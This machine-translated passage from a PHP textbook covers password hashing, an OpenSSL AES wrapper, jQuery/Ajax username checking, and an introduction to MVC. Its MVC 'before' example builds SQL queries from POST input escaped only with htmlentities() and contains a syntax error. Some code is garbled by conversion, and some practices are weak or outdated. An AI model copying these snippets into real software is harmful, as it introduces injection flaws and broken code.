在深入了解 PHP 的加密功能之前,有必要讨论一下它们的用法,这与解决方案无关。除非运行加密方案的脚本在支持 SSL 的服务器上运行,否则 Web 上的加密在很大程度上是无用的。为什么呢?PHP 是一种服务器端脚本语言,所以信息必须以纯文本格式发送到服务器,然后才能被加密。如果用户没有通过安全连接进行操作,当信息从用户传输到服务器时,不希望的第三方可以通过多种方式看到这些信息。过去,为 web 服务器获取 SSL 证书是有成本的。最近几年价格已经下降,甚至还有像 https://letsencrypt.org 这样的免费服务,可以让你获得有效期为三个月的 SSL 证书。他们甚至提供了一些工具来简化证书的更新。不再有任何借口不拥有使用 HTTPS 协议而不是 HTTP 的加密网站。如果您接受来自用户的任何形式的数据(用户 id、密码、信用卡信息等)。),您应该始终提供到 web 服务器的加密连接。有关设置安全 Apache 服务器的更多信息,请访问 https://httpd.apache.org/docs/2.2/ssl 。如果您使用不同的 web 服务器,请参考您的文档。对于您的特定服务器,即使没有几个安全解决方案,至少也有一个。有了这个警告,让我们回顾一下 PHP 的加密函数。

使用 hash()散列函数散列数据

hash()函数可用于使用多种不同散列算法之一创建所谓的散列。哈希数据是一种不可逆的数据编码方式,因此它们不再可读;因为它是不可逆的,所以不可能从中产生原始价值。存储密码或创建数字签名时会使用哈希数据。如果您要验证密码或数字签名,您必须创建一个新的哈希值,并将其与存储的哈希值进行比较。反过来,数字签名可以用来唯一地识别发送方。它的原型是这样的:

string hash(string algo, string data [, bool raw_output])

支持许多不同的算法。这些有不同的复杂性。一种更简单的算法叫做 MD5。它不再被认为是安全的,不应以任何方式用于保护数据或访问网站。如今,像 sha256 或 sha512 这样的算法具有更高的复杂性,因此更难破解。

使用hash_algos()功能可以获得支持算法的完整列表。随着新算法的开发和添加到 PHP 中,您可以使用这个函数来检查当前可用的函数。当前列表如下所示:

Array
(
    [0] => md2
    [1] => md4
    [2] => md5
    [3] => sha1
    [4] => sha224
    [5] => sha256
    [6] => sha384
    [7] => sha512/224
    [8] => sha512/256
    [9] => sha512
    [10] => sha3-224
    [11] => sha3-256
    [12] => sha3-384
    [13] => sha3-512
    [14] => ripemd128
    [15] => ripemd160
    [16] => ripemd256
    [17] => ripemd320
    [18] => whirlpool
    [19] => tiger128,3
    [20] => tiger160,3
    [21] => tiger192,3
    [22] => tiger128,4
    [23] => tiger160,4
    [24] => tiger192,4
    [25] => snefru
    [26] => snefru256
    [27] => gost
    [28] => gost-crypto
    [29] => adler32
    [30] => crc32
    [31] => crc32b
    [32] => fnv132
    [33] => fnv1a32
    [34] => fnv164
    [35] => fnv1a64
    [36] => joaat
    [37] => haval128,3
    [38] => haval160,3
    [39] => haval192,3
    [40] => haval224,3
    [41] => haval256,3
    [42] => haval128,4
    [43] => haval160,4
    [44] => haval192,4
    [45] => haval224,4
    [46] => haval256,4
    [47] => haval128,5
    [48] => haval160,5
    [49] => haval192,5
    [50] => haval224,5
    [51] => haval256,5
)

如果使用 hash()函数创建存储在数据库中的值,需要确保数据库中的列足够宽,能够容纳所用算法的值。

例如,假设你的秘密密码 toystore 有一个7518ce67ee48edc55241b4dd38285e876cb75b620930fd6e358d4b3ad74cac60的 sha256 散列。您可以将此哈希值存储在服务器上,并将其与用户尝试输入的密码的 sha256 哈希值进行比较。即使入侵者得到了加密的密码,也不会有太大的不同,因为入侵者无法通过常规手段将字符串还原为其原始格式。下面是一个使用hash()散列字符串的例子:

<?php
    $val = "secret";
    $hash_val = hash('sha256', $val);
    // $hash_val = "2bb80d537b1da3e38bd30361aa855686bde0eacd7162fef6a25fe97bf527a25b";
?>

请记住,要在数据库中存储完整的 sha256 哈希,需要将字段长度设置为 64 个字符。虽然散列只有 256 bilt 长,但输出是用十六进制表示法编写的,每个字节使用两个字符。

虽然hash()函数可以满足大多数哈希需求,但是您的项目可能需要使用另一种哈希算法。PHP 的散列扩展支持许多散列算法和变体。在 http://us3.php.net/hash 了解更多关于这个强大扩展的信息。

请注意,MD5 函数已经显示为不同的输入提供相同的哈希值。这个函数不再被认为是安全的密码哈希或创建签名,但它可以用来创建一个文件的内容哈希。然后,散列可以存储在数据库中,当为另一个文件创建散列时,很容易比较该文件是否以前见过。如果您创建了一个用户可以上传图像的站点,这将非常有用。如果同一个图像被上传了不止一次,您可以检测到这一点,并简单地引用同一个图像。

PHP 提供了一个特殊的哈希函数来处理名为password_hash()的密码。这个函数将处理 salt 值和散列算法,对于相同的密码值,为相同的密码返回的字符串永远不会相同。为了将密码与保存的密码进行比较,您必须调用函数password_verify()。该函数将使用与创建原始散列相同的 salt 和算法来创建密码散列,然后比较两个散列值。接下来的两个示例显示了如何创建密码哈希以及如何验证密码:

<?php

$password = "secret";
$hash = password_hash($password, PASSWORD_DEFAULT);

echo $hash;
?>

执行此示例将生成如下输出:

$2y$10$s.CM1KaHMF/ZcskgY6FRu.IMJMeoMgaG1VsV6qkMaiai/b8TQX7ES

每次运行代码,都会生成不同的输出。为了验证密码,您可以使用类似于下例的代码:

<?php

$hash = '$2y$10$s.CM1KaHMF/ZcskgY6FRu.IMJMeoMgaG1VsV6qkMaiai/b8TQX7ES';
$passwords = ["secret", "guess"];

foreach ($passwords as $password) {
   if (password_verify($password, $hash)) {
      echo "Password is correct\n";
   }
   else {
      echo "Invalid Password\n";
   }
}

?>

在本例中,我们测试两个不同的密码。第一个是上一个示例中用于生成哈希的密码,第二个是不正确的密码。该代码生成以下输出:

Password is correct
Invalid Password

在实际应用中,您应该将密码的哈希存储在数据库或文件中。将真实密码存储在数据库中将允许该数据库的管理员读取其他用户的密码,并且他们将能够使用该密码进行恶意操作。

使用 OpenSSL 加密数据

谈到以安全的方式存储数据,PHP 提供了一个名为 OpenSSL 的库。这个库允许您使用加密密钥加密和解密值。如果您的硬盘或数据库遭到破坏,黑客将无法读取加密内容,除非您也将加密密钥留在了硬盘上。

有两种基本类型的密钥可用于加密和解密。第一种是对称密钥,加密和解密使用相同的密钥。第二种类型使用公钥和私钥对,其中一个密钥用于加密,另一个用于解密。这可以用来在交换信息时增加额外的安全层。如果发送方使用私钥加密,然后使用接收方的公钥再次加密该值,则接收方可以使用自己的私钥,然后使用发送方的公钥进行解密。这确保了只有预期的收件人可以打开文件,并且收件人肯定知道文件来自预期的来源。

使用非对称密钥对大量文本进行加密可能需要很长时间,加密方式通常略有不同,使用对称密钥对有效负载进行加密,然后使用一个或两个非对称密钥对简短的对称密钥进行加密,加密的有效负载和加密的对称密钥都将被交换。

在下一个例子中,我们将创建一个使用对称密钥加密和解密字符串的类。这将是对openssl_encrypt()openssl_decrypy()函数的包装。这两个函数都有三个强制参数(\(data、\)cipher 和\(key)和五个可选参数。该示例利用了前两个可选参数(\)options 和$iv)。

密码值用于选择要使用的加密方法。该类默认使用 AES-128-CBC。通过调用openssl_get_cipher_methods()函数可以获得可用密码的完整列表。\(iv 参数是初始化向量,它生成为对应于所选密码长度的多个随机字节值。函数`openssl_cipher_iv_length`()和`openssl_random_pseudo_bytes`()用于获取长度和随机字节列表。重要的是,加密和解密使用相同的初始化向量,以确保发生这种情况。\)iv 值与签名哈希一起被添加到加密字符串的前面,在解密时可以使用签名哈希来确保该值不被更改。

<?php
//
class AES {
    private $key = null;
    private $cipher = "AES-128-CBC";

    function __construct($key, $cipher = "AES-128-CBC") {
        $this->key = $key;
        $this->cipher = $cipher;
    }

    function encrypt($data) {
        if (in_array($this->cipher, openssl_get_cipher_methods())) {
            $ivlen = openssl_cipher_iv_length($this->cipher);
            $iv = openssl_random_pseudo_bytes($ivlen);
            $encrypted = openssl_encrypt($data, $this->cipher, $this->key, OPENSSL_RAW_DATA, $iv);
            $hmac = hash_hmac('sha256', $encrypted, $this->key, true);
            return base64_encode($iv.$hmac.$encrypted);
        }
        else {
            return null;
        }
    }

    function decrypt($data) {
        $c = base64_decode($data);
        $ivlen = openssl_cipher_iv_length($this->cipher);
        $iv = substr($c, 0, $ivlen);
        $hmac = substr($c, $ivlen, $sha2len=32);
        $encrypted = substr($c, $ivlen+$sha2len);
        $hmac_check = hash_hmac('sha256', $encrypted, $this->key, true);
        if (hash_equals($hmac, $hmac_check)) {
            return openssl_decrypt($encrypted, $this->cipher, $this->key, OPENSSL_RAW_DATA, $iv);
        }
        else {
            return null;
        }
    }
}

下一个例子展示了如何使用扩展的简单例子。在这个例子中,使用的密钥是一个静态的纯文本字符串,但是一个更好的密钥可以是一个字符串的散列或一个随机字节的字符串。关键是加密和解密必须使用相同的密钥。

<?php
include "./aes.inc";

$aes = new AES('My Secret Key');

$e = $aes->encrypt("This message is secure and must be encrypted");
echo "Encrypted: '$e'\n";

$d = $aes->decrypt($e);
echo "Decrypted: '$d'\n";

输出将类似于下面的清单。由于初始化向量中的随机字节,输出将随着每次执行而改变。该示例显示消息被成功解密。

Encrypted: 'Nc+Oq+exEF1ZrepYbcV6f2XL8stA1WGJy5JmLPIqTOrRGfLWMIx9roLWgGEhbQppOv3VVXGxs4PJodKh7dQsviMUW9asCXDStbEfh+4PRZTQDFer/WQ9aOjKs9DF3kKm'
Decrypted: 'This message is secure and must be encrypted'

摘要

本章提供的材料为您提供了几个重要的提示,但主要目的是让您思考您的应用和服务器面临的许多攻击媒介。请注意,本章中描述的主题只是整个安全性的一小部分。如果你是这个主题的新手,花些时间访问著名的安全相关网站。

不管您以前的经验如何,您都需要设计一个策略来跟上突发的安全新闻。从更流行的以安全为中心的网站以及产品开发人员那里订阅时事通讯可能是最好的方法。最重要的是,你要有一个策略并坚持下去,以免你的城堡被征服。

二十、集成 jQuery 和 PHP

多年来,web 开发人员抱怨无法创建复杂的、响应迅速的界面,类似于桌面应用中的界面。这一切在 2005 年开始改变,当时用户体验大师杰西·詹姆斯·加勒特创造了一个术语 Ajax 1 ,描述 Flickr 和谷歌等先进的尖端网站一直在取得进步,弥合网络界面和基于客户端的兄弟之间的差距。这些进步包括利用浏览器与服务器异步通信的能力——无需重新加载网页。结合 JavaScript 检查和操作 web 页面的几乎所有方面的能力(得益于该语言与页面的文档对象模型(也称为 DOM)进行交互的能力),创建能够执行各种任务而无需重新加载页面的界面成为可能。

在本章中,我将讨论 Ajax 的技术基础,并向您展示如何结合 PHP 使用强大的 jQuery ( https://jquery.com )库来创建 Ajax 增强的特性。我假设您至少已经对 JavaScript 语言有了基本的了解。如果你不熟悉 JavaScript,我建议你花些时间阅读位于 https://w3schools.com/js 的优秀 JavaScript 教程。此外,因为 jQuery 是一个具有强大功能的库,所以这一章实际上只是触及了它的皮毛。请务必访问 jQuery 网站 https://www.jquery.com 获取完整的概述。

Ajax 简介

Ajax 是 Asynchronous JavaScript 和 XML 的缩写,它不是一种技术,而是一个总括术语,用来描述一种创建高度交互的 web 界面的方法,这种界面非常类似于桌面应用中的界面。这种方法包括集成多种技术,包括 JavaScript、XML、一种基于浏览器的异步通信管理机制,以及通常(尽管不是必需的)一种能够完成异步请求并返回相应响应的服务器端编程语言。如今,使用 JavaScript 对象表示法(JSON)作为交换消息的格式更加普遍。

注意

一个异步事件能够独立于主应用执行,而不会阻塞在异步事件启动时可能已经在执行的其他事件,或者可能在异步事件完成之前开始执行的其他事件。

多亏了 jQuery 等优秀的 JavaScript 库和 PHP 等语言的原生能力,许多涉及启动异步通信和有效负载构造和解析的血淋淋的细节都从开发人员那里抽象出来了。然而,理解 Ajax 请求的构建块使得在客户端和服务器端编写和调试代码变得更加容易。

尽管 Ajax 将 XML 作为名称的一部分,但它更多地用于创建和接收 JSON 格式的文本负载,XML 不再是主导格式。从服务器端来看,用户在浏览器地址栏中输入 URL 发起的请求和使用 Ajax 发出的请求没有什么区别。响应可以由静态 HTML 文件生成,也可以由 PHP 脚本生成的动态文件生成。

总之,以 Ajax 为中心的特性依赖于几种技术和数据标准才能正常工作,包括服务器端和客户端语言、DOM,以及能够被过程中涉及的所有各方理解的数据格式(通常是 JSON)。为了进一步阐明工作流程和涉及的技术,该流程如图 20-1 所示。

img/314623_5_En_20_Fig1_HTML.jpg

图 20-1

典型的 Ajax 工作流

jQuery 简介

在我看来,jQuery 是 JavaScript 的“修复”版本,纠正了许多丑陋而乏味的语法,这些语法多年来一直是 web 开发人员的祸根。由 JavaScript 大师约翰·瑞西格( https://ejohn.org )创建的 JavaScript 库,jQuery 已经变得如此受欢迎,以至于它在世界上 10,000 个访问量最大的网站中的 76%中发挥了作用, 2 其中包括 Google、Mozilla 和 NBC。鉴于该库与 DOM 的深度集成、方便的 Ajax 助手方法、令人印象深刻的用户界面效果和可插拔架构,这并不奇怪。

jQuery 确实是猫的喵,在这一节中,我将向您介绍一些关键特性,这些特性不仅使它成为将 Ajax 特性集成到您的网站中的理想选择,而且也是执行几乎所有其他面向 JavaScript 的任务的理想选择。像 JavaScript 语言一样,jQuery 是一个如此庞大的主题,以至于它本身就足以成为一本书,所以一定要花些时间浏览 jQuery 网站 https://www.jquery.com 来了解关于这个强大的库的更多信息。

安装 jQuery

jQuery 是一个开源项目,可以从 https://www.jquery.com 免费下载。打包成一个独立的文件,像其他 JavaScript 文件一样整合到您的网站中,将它放在服务器上的公共目录中,并从网站的<head>标记中的任意位置引用它,如下所示:

<script type="text/javascript" src="jquery-3.3.1.min.js"></script>

然而,由于 jQuery 是一个如此广泛使用的库,Google 在其内容分发网络(CDN)上托管该库,并提供一个 API,允许开发人员引用托管库,而不是维护一个单独的副本。通过引用 Google 的托管版本,您可以降低自己的带宽成本,并最终帮助您的网站加载更快,因为用户在访问另一个使用 Google CDN 的网站时,可能已经在本地缓存了一份 jQuery。使用以下代码片段从 jQuery CDN 加载 jQuery:

<script
    src="https://code.jquery.com/jquery-3.3.1.min.js"
    integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
    crossorigin="anonymous"></script>

jQuery 的特定版本是 URL 的一部分。如果不想使用 3.3.1 版本(撰写本文时的最新版本),可以选择其他版本。

一个简单的例子

与原生 JavaScript 代码一样,您需要组织 jQuery 代码,确保在 HTML 页面加载到客户端浏览器之前不会执行。忽略这一点可能会导致意想不到的副作用,因为 JavaScript 可能会尝试检查或修改尚未呈现的页面元素。为了防止这种情况发生,您将把 jQuery 代码嵌入到它的ready事件中:

<script>
$(document).ready(function() {
  alert("Your page is ready!");
});
</script>

将这段代码插入加载 jQuery 库的代码之后。重新加载页面,你会看到如图 20-2 所示的警告框。

img/314623_5_En_20_Fig2_HTML.jpg

图 20-2

用 jQuery 显示警告框

此处包含 HTML 文档的完整列表以供参考。

<html>
<head>
<script
  src="https://code.jquery.com/jquery-3.3.1.min.js"
  integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
  crossorigin="anonymous"></script>
<script>
$(document).ready(function() {
  alert("Your page is ready!");
});
</script>
</head>
<body>
</body>
</html>

响应事件

尽管很有用,但是 JavaScript 的本地事件处理器很难维护,因为它们必须与相关的 HTML 元素紧密耦合。例如,通常的做法是使用如下代码将一个onClick事件处理器与一个特定的链接相关联:

<a href="#" class="button" id="check_un" onClick="checkUsername(); return false;">Check Username Availability</a>

这是一种非常丑陋的方法,因为它与网站的设计和逻辑联系得太紧密了。jQuery 通过允许您将相关的侦听器从元素中分离出来来解决这个问题。事实上,您不仅可以通过编程将事件与特定元素相关联,还可以将它们与特定类型、id 的所有元素、分配了特定 CSS 类名的元素,甚至满足特定嵌套条件的元素相关联,例如嵌套在与类名tip相关联的段落中的所有图像。让我们从一个最简单的例子开始,重构上面的例子,将 jQuery click处理器与分配了 ID check_un的页面元素关联起来:

<html>
<head>
<script
  src="https://code.jquery.com/jquery-3.3.1.min.js"
  integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
  crossorigin="anonymous"></script>
<script>
$(document).ready(function() {
  $("#check_un").click(function(event) {
  alert("Checking username for availability");
  event.preventDefault();
  })
});
</script>
</head>
<body>
<p>Click <b id="check_un">here</b> to check if username is available</p>
</body>
</html>

$()语法只是一个 jQuery 快捷方式,用于根据标记名、类属性和 ID 检索页面元素,也称为 CSS 选择器。在这个例子中,您正在寻找一个由 ID check_un标识的元素,因此已经将#check_un传递到快捷方式中。接下来,将 jQuery 的click方法附加到元素上,使 jQuery 开始监视与该元素关联的 click 类型的事件。在随后的匿名函数中,您可以定义希望与该事件一起发生的任务,在本例中包括显示一个警告框,并使用另一个方便的 jQuery 特性来防止元素的默认行为发生(在超链接的情况下,这将是试图访问与href属性相关联的页面)。

Id‘check _ un’被赋予单个元素,在本例中是单词 here 周围的粗体标签。单击这个单词将导致在单击处理器中定义的警告框出现,即使没有 JavaScript 明确绑定到超链接!

让我们考虑另一个例子。假设您想要将一个mouseover事件与页面中找到的所有图像相关联,这意味着每当鼠标指针进入图像边界时就会执行该事件。要创建事件,只需将 HTML 元素的名称(img)传递到$()快捷方式中:

  $("#check_un").mouseover(function(event){
      alert("Interested in this image, are ya?");
  });

如前所述,也可以只将事件与满足特定复杂条件的元素相关联,例如由 class 属性thumbnail定义的图像,这些图像嵌套在由 ID sidebar标识的 DIV 中:

  $("#sidebar > img.thumbnail").click(function(event) {
      alert("Loading image now…");
  });

显然,仅仅为了显示警告框而使用 jQuery 并不是您主要关心的问题。因此,接下来让我们考虑如何使用 jQuery 以有用的方式检查和修改 DOM。通过本节的总结,您将了解如何创建事件,这些事件在被触发时可以执行任务,例如通知用户任务已完成、向表中添加行以及隐藏页面的某些部分。

jQuery 和 DOM

尽管 jQuery 有无数的附加功能,但我发现它解析和操作 DOM 的能力是它的杀手锏。在本节中,我将通过提供一系列解析和操作以下 HTML 片段的示例,向您介绍 jQuery 在这方面的能力:

<body>
  <span id="title">Easy Google Maps with jQuery, PHP and MySQL</span>
  <img srcimg/maps.png" class="cover" />
  <p>
    Author: W. Jason Gilmore<br />
    Learn how to create location-based websites using popular open source technologies and the powerful Google
    Maps API! Topics include:
  </p>
  <ul>
    <li>Customizing your maps by tweaking controls, and adding markers and informational windows</li>
    <li>Geocoding addresses, and managing large numbers of addresses within a database</li>
    <li>How to build an active community by allowing users to contribute new locations</li>
  </ul>
</body>

要检索书名,请使用以下语句:

var title = $("#title").html();

要获得与类cover相关联的图像的src值,请使用以下语句:

var src = $("img.cover").attr("src");

还可以检索和了解更多关于元素组的信息。例如,您可以通过使用 jQuery 的size()方法和选择器快捷方式来计算项目符号的数量,从而确定已经识别了多少个主题:

var count = $("li").size();

只有当 html 文档包含至少一个 li 元素时,这个例子才有效。如果没有,您将得到一个错误,说“大小不是一个函数。”你甚至可以循环项目。例如,下面的代码片段将使用 jQuery 的each()迭代器方法遍历所有的li元素,在一个警告窗口中显示它们的内容:

$('li').each(function() {
  alert(this.html());
});

修改页面元素

jQuery 可以像检索页面元素一样轻松地修改页面元素。例如,要更改书名,只需向检索到的元素的html()方法传递一个值:

$("#title").html("The Awesomest Book Title Ever");

您不局限于更改元素的内容。例如,让我们创建一个mouseover事件处理器,它将在用户鼠标经过时向每个列表项添加一个名为highlight的类:

  $("li").mouseover(function(event){
      $(this).addClass("highlight");
  });

有了这个事件处理器,每当用户将鼠标放在一个列表项上时,这个列表项大概会以某种方式高亮显示,这要感谢一个名为.highlight的相应 CSS 类所做的一些风格上的改变。当然,一旦用户将鼠标从元素上移开,您可能希望取消高亮显示,因此您还需要创建第二个事件处理器,使用removeClass()方法将highlight类从li元素中分离出来。

作为最后一个例子,假设您希望在用户单击指定元素(如作者姓名)时显示之前隐藏的页面元素。修改 HTML 代码片段,使作者的姓名如下所示:

<span id="author_name">W. Jason Gilmore</span>

ID #author_name可以像这样在样式表中定义,为用户提供一个线索,虽然名称不一定是超链接,但单击它可能会启动一些任务:

#author_name {
  text-decoration: dotted;
}

接下来,在列表项下添加以下代码片段:

<span id="author_bio" style="display: none;">
<h3>About the Author</h3>
<p>
  Jason is founder of WJGilmore.com. His interests include solar cooking, ghost chili peppers,
  and losing at chess.
</p>
</span>

最后,添加下面的事件处理器,它将在每次用户单击作者的名字时在可见和隐藏状态之间切换#author_bio DIV:

$("#author_name").click(function(){
  $("#author_bio").toggle();
});

到目前为止,您已经了解了 jQuery 如何方便地将事件与元素相关联,以及如何以各种方式解析和操作 DOM。在接下来的两个例子中,您将使用这些概念以及其他一些特性来创建两个 Ajax 驱动的特性,从前面例子提到的用户名存在验证特性开始。

创建用户名存在验证器

在创建新的电子邮件地址或帐户时,特别是在 Yahoo!这样的热门网站上,很少有比反复被告知某个用户名存在更令人沮丧的事情了。似乎每一种可能的组合都被采用了。为了减少挫败感,网站已经开始利用 Ajax 增强的注册表单,它会在提交表单之前自动检查用户名的存在(见图 20-3 ),并通知您结果。在某些情况下,如果用户名被采用,网站会建议一些变化,注册人可能会觉得有吸引力。

img/314623_5_En_20_Fig3_HTML.jpg

图 20-3

雅虎的用户名验证器

让我们创建一个用户名验证器,它非常类似于 Yahoo!在图 20-3 中。为了确定用户名是否已经存在,您需要一个中央帐户存储库作为比较的基础。在现实世界中,这个帐户存储库几乎肯定是一个数据库;但是,因为您还没有深入研究这个主题,所以为了便于说明,我们将使用一个数组。

首先创建注册表(register.php),如清单 20-1 所示。

<form id="form_register" "action="register.php" method="post">
 <p>
 Provide Your E-mail Address <br>
 <input type="text" name="email" value="">
 </p>

 <p>
 Choose a Username <br />
 <input type="text" id="username" name="username" value="">
 <a href="nojs.html" class="button" id="check_un">Check Username</a>
 </p>

 <p>
 Choose and Confirm Password<br>
 <input type="password" name="password1" value=""> <br>
 <input type="password" name="password2" value="">
 </p>

 <p>
 <input type="submit" name="submit" value="Register">
 </p>
</form>

Listing 20-1The Registration Form

图 20-4 显示了这个表单在使用时的样子(包括一些小的 CSS 样式化):

img/314623_5_En_20_Fig4_HTML.jpg

图 20-4

行动中的登记表

确定用户名是否存在

接下来,您将创建负责确定用户名是否存在的 PHP 脚本。这是一个非常简单的脚本,任务是连接到数据库并查询accounts表来确定用户名是否已经存在。然后将根据结果通知用户。脚本(available.php)在清单 20-2 中给出,后面是一些注释。尽管真实世界的示例会将提供的用户名与存储在数据库中的值进行比较,但是为了避免额外的复杂性,该示例使用了基于数组的存储库。

<?php

 // A makeshift accounts repository
 $accounts = array("wjgilmore", "mwade", "twittermaniac");

 // Define an array which will store the status
 $result = array();

 // If the username has been set, determine if it exists in the repository
 if (isset($_GET['username']))
 {

 // Filter the username to make sure no funny business is occurring
 $username = filter_var($_GET['username'], FILTER_SANITIZE_STRING);

 // Does the username exist in the $accounts array?
 if (in_array($username, $accounts))
 {
 $result['status'] = "FALSE";
 } else {
 $result['status'] = "TRUE";
 }

 // JSON-encode the array
 echo json_encode($result);
 }
?>

Listing 20-2Determining Whether a Username Exists

除了最后一条语句,这个脚本的大部分内容现在应该看起来很熟悉了。json_encode()函数是一个原生的 PHP 函数,可以将任何 PHP 变量转换成 JSON 格式的字符串,随后可以被任何其他支持 JSON 的语言接收和解析。注意,JSON 格式只是一个由一系列键和相关值组成的字符串。例如,如果用户试图使用用户名wjgilmore注册,返回的 JSON 字符串将如下所示:

{"status":"FALSE"}

当创建 Ajax 增强的特性时,由于移动部件的数量,调试可能是一个艰巨的过程。因此,在进入集成阶段之前,尝试和测试每个部分总是一个好主意。在这个脚本中,因为它希望用户名通过 GET 方法提供,所以您可以通过在命令行传递用户名来测试这个脚本,就像这样: www。举例。com/可用。php?用户名= wjgilmore

集成 Ajax 功能

剩下的唯一一步是集成 Ajax 功能,该功能允许用户在不重新加载页面的情况下确定用户名是否可用。这涉及到使用 jQuery 向available.php脚本发送一个异步请求,并用适当的响应更新页面的一部分。清单 20-3 中展示了用于实现该特性的特定于 jQuery 的代码。这个代码应该放在包含注册表单的<head>标签的页面中。

<script
 src="https://code.jquery.com/jquery-3.3.1.min.js"
 integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
 crossorigin="anonymous"></script>
<script type="text/javascript">
$(document).ready(function() {

 // Attach a click handler to the Check Username button
 $('#check_un').click(function(e) {

 // Retrieve the username field value
 var username = $('#username').val();

 // Use jQuery's $.get function to send a GET request to the available.php // script and provide an appropriate response based on the outcome
 $.get(
   "available.php",
   {username: username},
   function(response){
     if (response.status == "FALSE") {
       $("#valid").html("Not available!");
     } else {
       $("#valid").html("Available!");
     }
   },
   "json"
 );

 // Use jQuery's preventDefault() method to prevent the link from being followed
 e.preventDefault();
 });
});

</script>

Listing 20-3Integrating Ajax into the Username Validation Feature

就像清单 20-2 中展示的 PHP 脚本一样,这里没有什么需要回顾的,因为这些 jQuery 特性在本章前面已经介绍过了。然而,新的是使用了 jQuery 的$.get函数。该函数接受四个参数,包括应该联系的服务器端脚本的名称(available.php)、应该传递给脚本的 GET 参数(在本例中是一个名为 username )的参数)、一个将从 PHP 脚本返回的数据作为输入的匿名函数,以及最后一个声明,该声明指出返回的数据将如何格式化(在本例中是 JSON)。注意 jQuery 如何使用点符号格式轻松解析返回的数据(在本例中,确定如何设置response.status)。

jQuery 还能够使用其本地的$.post方法向脚本发送 POST 数据。有关这个有用特性的更多信息,请参考 jQuery 文档。

摘要

对于外行人来说,Ajax 似乎是构建网站的一种非常复杂的方法。然而,正如你在本章中了解到的,这种 web 开发方法只是几种技术和标准协同工作的结果,产生了一个不可否认的很酷的结果。

在下一章中,您将了解到另一个非常有趣的特性,即国际化,尽管它看起来很复杂。通过国际化你的网站,你将能够更有效地迎合不断扩大的来自其他国家的客户和用户。向前!

二十一、MVC 和框架

即使在你的 web 开发生涯的早期阶段,你可能已经在尝试勾画一个渴望已久的定制网站的功能了。也许是电子商务商店?一个致力于集邮的在线社区论坛?或者更实际的东西,比如公司内部网?不管目的是什么,您都应该努力使用合理的开发实践。近年来,使用这种事实上的最佳实践变得如此重要,以至于几个开发团队联合起来开发了各种各样的 web 框架,其中的每一个都有助于其他人以一种高效、快速且代表合理开发原则的方式开发 web 应用。

本章有三个目的。首先,我将介绍模型-视图-控制器(MVC)设计模式,它为开发人员构建网站提供了一种组织良好的方法。其次,我将介绍几个最流行的 PHP 驱动的框架,每个框架都允许您利用 MVC,以及各种其他节省时间的特性,如数据库和 web 服务集成。最后,我将介绍 PHP 框架互操作性组(PHP-FIG)。这是一个致力于让框架“和谐相处”的团队。

MVC 简介

假设你最近推出了一个新网站,却发现它很快就被用户淹没了。渴望扩展这一新发现的成功,该项目开始在野心和复杂性方面增长。你甚至已经开始雇佣一些有才华的员工来帮助设计和开发。新聘请的设计师立即开始对网站页面进行彻底检查,其中许多页面目前看起来像这样:

<?php
    // Include site configuration details and page header
    INCLUDE "config.inc.php";
    INCLUDE "header.inc.php";

    // Scrub some data
    $eid = htmlentities($_POST['eid']);

    // Retrieve desired employee's contact information

    $query = "SELECT last_name, email, tel
              FROM employees
              WHERE employee_id='$eid'";

    $result = $mysqli->query($query, MYSQLI_STORE_RESULT);

    // Convert result row into variables
    list($name, $email, $telephone) = $result->fetch_row();

?>
<div id="header">Contact Information for: <?php echo $name; ?>
Employee Name: <?php echo $name; ?><br />
Email: <?php echo $email; ?><br />
Telephone: <?php echo $telephone; ?><br />

<div id="sectionheader">Recent Absences
<?php

    // Retrieve employee absences in order according to descending date
    $query = "SELECT absence_date, reason
              FROM absences WHERE employee_id='$eid'
              ORDER BY absence_date DESC";

    // Parse and execute the query
    $result = $mysqli->query($query, MYSQLI_STORE_RESULT);

    // Output retrieved absence information
    while (list($date, $reason) = $result->fetch_row();
        echo "$date: $reason";
    }

    // Include page footer
    INCLUDE "footer.inc.php";

?>

因为设计和逻辑不可避免地交织在一起,很快就出现了几个问题:

  • 由于网站的设计和逻辑的混合,那些被雇佣的唯一目的是让你的网站看起来很棒的设计师现在面临着不得不学习 PHP 的任务。

  • 被雇来帮助扩展网站功能的开发人员,正忙着修复由设计师的新手 PHP 代码引入的错误和安全问题。在这个过程中,他们决定对网站设计做一些小小的调整,这激怒了设计师。

  • 由于同时编辑同一组文件而引起的几乎不断的冲突很快变得令人厌烦和耗时。

您可能注意到了这里的一个模式:缺乏关注点的分离正在滋生一个痛苦、不信任和低效的环境。但是有一个解决方案可以大大缓解这些问题:MVC 架构。

MVC 方法通过将应用分成三个不同的组件来提高开发效率:模型视图控制器。这样做允许独立地创建和维护每个组件,从而最小化组件以类似于前一示例中所示的方式缠绕时产生的残余影响。您可以在其他学习资源中找到每个组件的详细定义,但对于本简介而言,以下内容就足够了:

  • 模型:模型为你的网站建模的领域指定了规则,定义了应用的数据和行为。例如,假设您创建了一个用作转换计算器的应用,允许用户将磅转换为千克,将英尺转换为英里,将华氏温度转换为摄氏温度,以及其他单位。模型负责定义用于执行此类转换的公式,当提供值和所需的转换场景时,模型执行转换并返回结果。请注意,模型不负责格式化数据或将数据呈现给用户。这是由视图处理的。

  • 视图:视图负责将模型返回的数据格式化并呈现给用户。一个以上的视图可以利用同一个模型,这取决于数据应该如何呈现。例如,您可以为转换应用提供两个接口:一个针对标准浏览器,另一个针对移动设备进行了优化。

  • 控制器:控制器负责确定应用应该如何基于应用空间内发生的事件(通常是用户动作)做出响应,通过协调模型和视图来产生适当的响应。一个被称为前端控制器的特殊控制器负责将所有请求路由到适当的控制器并返回响应。

为了帮助您更好地理解 MVC 驱动的框架的动态性,下面的示例通过一个涉及转换器应用的典型场景,突出了每个 MVC 组件的角色:

  1. 用户与视图交互以指定他想要执行的转换类型,例如,将输入温度从华氏温度转换为摄氏温度。

  2. 控制器通过识别适当的转换动作、收集输入并将其提供给模型来做出响应。

  3. 该模型将该值从华氏温度转换为摄氏温度,并将结果返回给控制器。

  4. 控制器调用适当的视图,传递计算出的值。视图呈现结果并返回给用户。

PHP 的框架解决方案

